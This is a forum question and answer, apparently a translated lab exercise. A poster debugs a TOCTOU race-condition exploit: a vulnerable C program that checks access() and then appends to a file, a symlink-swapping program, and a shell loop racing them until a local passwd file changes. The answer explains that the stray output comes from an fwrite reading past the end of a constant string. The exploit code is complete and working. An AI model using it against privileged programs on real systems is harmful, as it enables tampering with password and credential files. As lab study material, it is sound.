我现在正在尝试通过使用竞争条件错误来进行利用。然而,问题出现了;我从未赋予这个过程的价值观就会显现出来。
以下是该案例的描述。
场景:攻击者发现某些程序容易受到竞争条件的影响。因此,她编写了一个程序,从攻击者可以管理的文件创建到 ./passwd 文件的符号链接。之后,她制作了一个 shell 脚本,该脚本同时运行有漏洞的程序和她制作的程序,直到检测到 ./passwd 文件的修改。
易受攻击的代码在这里:
易受攻击的程序.c
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#define DELAY 50000
int main(int argc, char *argv[]){
char *fileName = argv[1];
char buffer[60];
int i;
FILE *fileHandler;
scanf("%50s", buffer);
if(!access(fileName, W_OK)){
int a;
for(i=0;i<DELAY;i++){
a=i^2;
}
fileHandler = fopen(fileName, "a+");
fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);
fwrite("\n", sizeof(char), 1, fileHandler);
fclose(fileHandler);
}
else{
}
}
利用竞争条件进行攻击的程序如下:
符号链接.c
#include<stdio.h>
#include<unistd.h>
#include<string.h>
int main(int argc, char *argv[]){
unlink(argv[1]);
symlink("./passwd", argv[1]);
return 0;
}
这是 shell 脚本:
漏洞利用程序
old=`ls -l passwd`; new=`ls -l passwd`
while [ "$old" = "$new" ]
do
rm -rf temp
echo "This is a file that the user can overwrite" > temp
echo -e "TOCTOU-Attack-Success" | ./vulnerable-program temp & ./symbolic-link temp & new=`ls -l passwd`
done
rm -rf temp;
echo "STOP... The passwd file has been changed"
但是,如果我运行exploit.sh,结果会变成这样:
另外,如果我尝试提供一个非常长的字符串,就像 /etc/shadow 文件中写入的用户信息一样,它会不断出现在 passwd 文件中,并被截断。
实际上,一开始,printf("No Permission \n");
vulnerable-program.c 的 else 分支中有一行代码。但是,由于同样的问题,字符串“No Permission”不断连接在“TOCTOU-Attack-Success”字符串前面,并连续传递到 passwd 文件,以使我删除该代码行。
如果你们能帮助我,我将非常高兴...现在我真的不知道该怎么做来排除故障。
答案1
fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
发送一个换行符,加上来自只读数据区域的一些垃圾,这些垃圾恰好位于常量字符串“\n”之后,直到输入字符串的长度。